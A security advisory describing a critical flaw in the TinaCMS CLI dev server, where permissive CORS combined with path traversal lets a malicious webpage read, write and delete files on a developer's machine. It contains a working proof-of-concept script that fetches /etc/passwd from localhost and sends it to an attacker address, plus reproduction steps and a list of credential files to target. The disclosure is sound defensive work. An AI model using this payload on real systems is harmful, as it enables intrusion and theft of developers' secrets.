The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.
The TinaCMS dev server sets permissive CORS headers that allow any origin to make cross-origin requests:
packages/@tinacms/cli/src/server/server.ts:
app.use(cors());
packages/@tinacms/cli/src/next/vite/plugins.ts:
server.middlewares.use(cors());
When combined with the path traversal vulnerability, this creates a complete attack chain.
tinacms dev (default port 4001) No other conditions required - the dev server doesn't need to be: - Exposed to the internet - Bound to 0.0.0.0 - Accessible outside localhost
tinacms dev
<script>
fetch('http://localhost:4001/../../../etc/passwd')
.then(r => r.text())
.then(data => {
// Exfil via GET
const img = new Image();
img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data);
});
</script>
Step 1: Start TinaCMS dev server
tinacms dev
# Server running on http://localhost:4001
Step 2: Host evil.html on attacker server
python3 -m http.server 8000
Step 3: Developer visits http://attacker-server:8000/evil.html
Result: The browser makes cross-origin requests to localhost:4001. Because cors() returns Access-Control-Allow-Origin: *, the browser allows the JavaScript to read the responses. Directory listings from outside the media directory are sent to the attacker's server. <img width="1900" height="366" alt="image" src="https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617" />
Every developer running tinacms dev is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.
By hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:
/media/list/ with path traversal reveal file and folder names
across the entire filesystem.env, .git/config, SSH keys, cloud credentials, database configs/media/upload/ with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts/media/ DELETE with path traversal{
"github_reviewed": true,
"severity": "CRITICAL",
"nvd_published_at": "2026-03-12T17:16:50Z",
"cwe_ids": [
"CWE-22",
"CWE-942"
],
"github_reviewed_at": "2026-03-12T20:32:09Z"
}